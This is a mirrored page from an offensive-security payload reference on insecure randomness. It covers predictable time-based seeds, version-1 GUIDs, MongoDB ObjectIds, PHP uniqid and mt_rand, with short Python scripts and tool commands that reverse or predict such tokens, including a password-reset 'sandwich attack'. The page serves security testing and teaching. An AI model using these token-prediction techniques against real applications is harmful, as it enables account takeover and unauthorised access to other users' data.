mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-28 07:15:26 +00:00
218 lines
9.0 KiB
Markdown
218 lines
9.0 KiB
Markdown
# Insecure Randomness
|
||
|
||
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
|
||
|
||
|
||
## Summary
|
||
|
||
* [Methodology](#methodology)
|
||
* [Time-Based Seeds](#time-based-seeds)
|
||
* [GUID / UUID](#guid--uuid)
|
||
* [GUID Versions](#guid-versions)
|
||
* [Mongo ObjectId](#mongo-objectid)
|
||
* [Uniqid](#uniqid)
|
||
* [mt_rand](#mt_rand)
|
||
* [Custom Algorithms](#custom-algorithms)
|
||
* [References](#references)
|
||
|
||
|
||
## Methodology
|
||
|
||
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
|
||
|
||
|
||
## Time-Based Seeds
|
||
|
||
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
|
||
|
||
```py
|
||
import random
|
||
import time
|
||
|
||
seed = int(time.time())
|
||
random.seed(seed)
|
||
print(random.randint(1, 100))
|
||
```
|
||
|
||
The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value.
|
||
By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date `2024-11-10 13:37`.
|
||
|
||
```python
|
||
import random
|
||
import time
|
||
|
||
# Seed based on the provided timestamp
|
||
seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
|
||
random.seed(seed)
|
||
|
||
# Generate the random number
|
||
print(random.randint(1, 100))
|
||
```
|
||
|
||
|
||
## GUID / UUID
|
||
|
||
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
|
||
|
||
|
||
### GUID Versions
|
||
|
||
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
|
||
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|
||
|
||
| Version | Notes |
|
||
|----------|--------|
|
||
| 0 | Only `00000000-0000-0000-0000-000000000000` |
|
||
| 1 | based on time, or clock sequence |
|
||
| 2 | reserved in the RFC 4122, but omitted in many implementations |
|
||
| 3 | based on a MD5 hash |
|
||
| 4 | randomly generated |
|
||
| 5 | based on a SHA1 hash |
|
||
|
||
|
||
### Tools
|
||
|
||
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
|
||
```ps1
|
||
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
|
||
UUID version: 1
|
||
UUID time: 2022-04-13 08:06:13.202186
|
||
UUID timestamp: 138691299732021860
|
||
UUID node: 91754721024
|
||
UUID MAC address: 00:15:5d:01:ef:00
|
||
UUID clock sequence: 2099
|
||
|
||
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||
```
|
||
|
||
|
||
## Mongo ObjectId
|
||
|
||
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
|
||
|
||
* **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
|
||
* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
|
||
* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
|
||
* **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
|
||
|
||
Token example
|
||
|
||
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
|
||
|
||
|
||
### Tools
|
||
|
||
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
|
||
```ps1
|
||
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
|
||
5ae9bac82c144b9def01ec39
|
||
5ae9bacf2c144b9def01ec3a
|
||
5ae9bada2c144b9def01ec3b
|
||
```
|
||
* Python script to recover the `timestamp`, `process` and `counter`
|
||
```py
|
||
def MongoDB_ObjectID(timestamp, process, counter):
|
||
return "%08x%10x%06x" % (
|
||
timestamp,
|
||
process,
|
||
counter,
|
||
)
|
||
|
||
def reverse_MongoDB_ObjectID(token):
|
||
timestamp = int(token[0:8], 16)
|
||
process = int(token[8:18], 16)
|
||
counter = int(token[18:24], 16)
|
||
return timestamp, process, counter
|
||
|
||
|
||
def check(token):
|
||
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||
return token == MongoDB_ObjectID(timestamp, process, counter)
|
||
|
||
tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
|
||
for token in tokens:
|
||
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||
print(f"{token}: {timestamp} - {process} - {counter}")
|
||
```
|
||
|
||
|
||
## Uniqid
|
||
|
||
Token derived using `uniqid` are based on timestamp and they can be reversed.
|
||
|
||
* [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp
|
||
* [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c)
|
||
|
||
Token examples
|
||
|
||
* uniqid: `6659cea087cd6`, `6659cea087cea`
|
||
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
|
||
|
||
|
||
### Tools
|
||
|
||
```py
|
||
import math
|
||
import datetime
|
||
|
||
def uniqid(timestamp: float) -> str:
|
||
sec = math.floor(timestamp)
|
||
usec = round(1000000 * (timestamp - sec))
|
||
return "%8x%05x" % (sec, usec)
|
||
|
||
def reverse_uniqid(value: str) -> float:
|
||
sec = int(value[:8], 16)
|
||
usec = int(value[8:], 16)
|
||
return float(f"{sec}.{usec}")
|
||
|
||
tokens = ["6659cea087cd6" , "6659cea087cea"]
|
||
for token in tokens:
|
||
t = float(reverse_uniqid(token))
|
||
d = datetime.datetime.fromtimestamp(t)
|
||
print(f"{token} - {t} => {d}")
|
||
```
|
||
|
||
|
||
## mt_rand
|
||
|
||
Breaking mt_rand() with two output values and no bruteforce.
|
||
|
||
* [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
|
||
|
||
```ps1
|
||
./display_mt_rand.php 12345678 123
|
||
712530069 674417379
|
||
|
||
./reverse_mt_rand.py 712530069 674417379 123 1
|
||
```
|
||
|
||
|
||
## Custom Algorithms
|
||
|
||
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
|
||
|
||
* `$token = md5($emailId).rand(10,9999);`
|
||
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
|
||
|
||
|
||
|
||
### Tools
|
||
|
||
Generic identification and sandwitch attack:
|
||
|
||
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
|
||
```ps1
|
||
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
|
||
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
|
||
```
|
||
|
||
|
||
## References
|
||
|
||
- [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
|
||
- [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
||
- [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
|
||
- [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
|
||
- [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
|
||
- [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
|
||
- [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction) |